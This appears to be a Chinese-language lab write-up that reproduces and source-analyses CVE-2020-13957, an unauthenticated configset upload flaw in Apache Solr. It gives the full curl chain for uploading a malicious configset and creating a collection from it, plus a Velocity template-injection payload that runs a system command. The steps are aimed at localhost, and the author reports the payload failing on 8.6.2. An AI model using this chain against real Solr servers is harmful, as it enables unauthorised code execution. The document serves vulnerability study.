CVE-2020-13957 Apache Solr 未授权上传漏洞复现&&分析
漏洞版本
Apache Solr 6.6.0 -6.6.5
Apache Solr 7.0.0 -7.7.3
Apache Solr 8.0.0 -8.6.2
<!--more-->
环境搭建
1.在github
上下载对应的源码包解压到本地,同时记得装好ivy
:
2.为了下载依赖环境体验极佳,请先为以下两个文件加自己的代理:
\lucene-solr-releases-lucene-solr-8.6.2\build.xml
:
<setproxy proxyhost="your-ip" proxyport="your-port"/>
\lucene-solr-releases-lucene-solr-8.6.2\solr\build.xml
同理
3.开始构建环境:
在\lucene-solr-releases-lucene-solr-8.6.2\
输入ant ivy-bootstrap
然后编译server
:
cd solr
ant server
由于设置了代理,可享受丝滑的下载体验
这一步完成之后返回上级目录:
cd ../
ant idea
由于之前构建的时候留有缓存,所以这次比较快,我第一次构建的时候大概用了20分钟左右:
然后开启solr并设置远程debug:
cd \solr\bin
.\solr -f -a "-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=18522" -p 8983
这个时候就可以进入idea里面设置远程调试参数了,并启用该远程调试:
与此同时powershell
里面:
没有报错已经成功运行起来了,访问127.0.0.1:8983
我们可以看到熟悉的solr
界面了:
漏洞复现
开启Solr Cloud模式
由于该漏洞涉及到cloud
模块,而从上图来看并没有,原因是因为我们没有进行cloud
模式启动,我们
使用下面两个命令启动cloud
模式(需要开两个shell)
首先创建两个文件夹,将\lucene-solr-releases-lucene-solr-8.6.2\solr\server\solr
下的zoo.cfg
和solr.xml
复制到新建的目录下。
然后先开这个(如果需要debug则idea需要开启远程调用)
.\solr -c -f -a "-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=18522" -p 8983 -s D:\SecureLearn\solr-8.6.2\solrTest1
再开下面这个
.\solr -c -f -p 8983 -s D:\SecureLearn\solr-8.6.2\solrTest2 -m 100M -z 127.0.0.1:9983
这东西后面报错挂掉也不是很影响,或者可以直接加-e cloud
的参数快速启动也可以
之后进入127.0.0.1:8983
就可以找到cloud
模块了:
构建恶意configset
该漏洞成因是能够上传含有恶意配置的solrconfig.xml
配置文件,我们可以先看看网上POC
如何构造的:POC
恶意点出现在此处:
此恶意类为solr.VelocityResponseWriter
该类曾被爆出过存在模板注入导致命令执行漏洞,其中params.resource.loader.enabled
为允许用户通过设置请求参数来指定相关资源的加载,也就是说通过这一步配置我们可以加载其他恶意类。
我们可以更改原配置然后重新打包一份:
\lucene-solr-releases-lucene-solr-8.6.2\solr\server\solr\configsets\sample_techproducts_configs\conf
找到对应的地方加入恶意参数:
然后将这个目录全部打包:
zip -r - * > eviltest.zip
上传:
curl -X POST --header "Content-Type:application/octet-stream" --data-binary @eviltest.zip "http://127.0.0.1:8983/solr/admin/configs?action=UPLOAD&name=eviltest"
查看是否上传成功:
curl "http://127.0.0.1:8983/api/cluster/configs?omitHeader=true"
利用create
操作创建新配置:
curl "http://127.0.0.1:8983/solr/admin/configs?action=CREATE&name=evil&baseConfigSet=eviltest&configSetProp.immutable=false&wt=xml&omitHeader=true"
使用之前创建的新配置:
curl "http://127.0.0.1:8983/solr/admin/collections?action=CREATE&name=eviltest&numShards=1&replicationFactor=1&wt=xml&collection.configName=evil"
看看面板是否也是成功的:
该有的参数都有
最后测试命令执行:
curl -v "http://127.0.0.1:8983/solr/eviltest/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x='')+%23set($rt=$x.class.forName('java.lang.Runtime'))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"
发现无法执行,最后怀疑是自己编译出了问题,下载了官方的编译包调试也是这个问题,更换成网络上的POC也是这个问题,大概确定8.6.2
版本应该是无法命令执行的,很多网络复现的版本通常是7.7.0~8.2.0
都是该模板漏洞存在的版本。
漏洞分析
当传入zip
配置文件时,会调用getTrusted
函数进行判断是否允许创建该配置对应的node
:
org.apache.solr.handler.admin.ConfigSetsHandler
curl -X POST --header "Content-Type:application/octet-stream" --data-binary @eviltest1.zip "http://127.0.0.1:8983/solr/admin/configs?action=UPLOAD&name=eviltest1"
虽然该配置文件集会被标记成未授信,但仍然会被写入到服务器中
所以我们第一步上传的配置集会被写入到服务器中,然后我们使用该配置集创建配置,由于下一步我们传入的URL
中含有CREATE
,baseConfigSet
等,因此挨个全局搜索找到判定点:
org.apache.solr.handler.admin.ConfigSetsHandler
curl "http://127.0.0.1:8983/solr/admin/configs?action=CREATE&name=evil1&baseConfigSet=eviltest1&configSetProp.immutable=false&wt=xml&omitHeader=true"
结合URL和参数可以看出该操作是以我们刚刚传入的eviltest1
为模板,创建新的模板其名字为evil1
,跟进copyPropertiesWithPrefix
此处会通过configSetProp.
前缀,筛选对应的CREATE
配置:
我们传入的immutable
默认为false
,因此从配置的角度来说URL
可以稍微简化一点:
curl "http://127.0.0.1:8983/solr/admin/configs?action=CREATE&name=evil1&baseConfigSet=eviltest2&wt=xml&omitHeader=true"
这里同样可以上传成功,值得注意的是我们之前在getTrusted
打下的断点没有触发,意味着CREATE
这一步在通过母版创建子版的时候是不会触发校验的:
随后我们跟进下一步:
curl "http://127.0.0.1:8983/solr/admin/collections?action=CREATE&name=eviltest1&numShards=1&replicationFactor=1&wt=xml&collection.configName=evil1"
同样的道理这里出现关键词replicationFactor
似乎是一个工厂函数,推测配置就是在这一步创建的,全局搜索replicationFactor
,最后最后找了很久发现触发点(利用重复性报错)org.apache.solr.cloud.api.collections.CreateCollectionCmd#call
这个函数非常长,具体作用就是创建collection
并判断选用的是哪个configsets
,最后刷新collection
列表:
通过这一系列的操作最后就能够生成新的collection
,即配置被加载,从而能被攻击者利用了。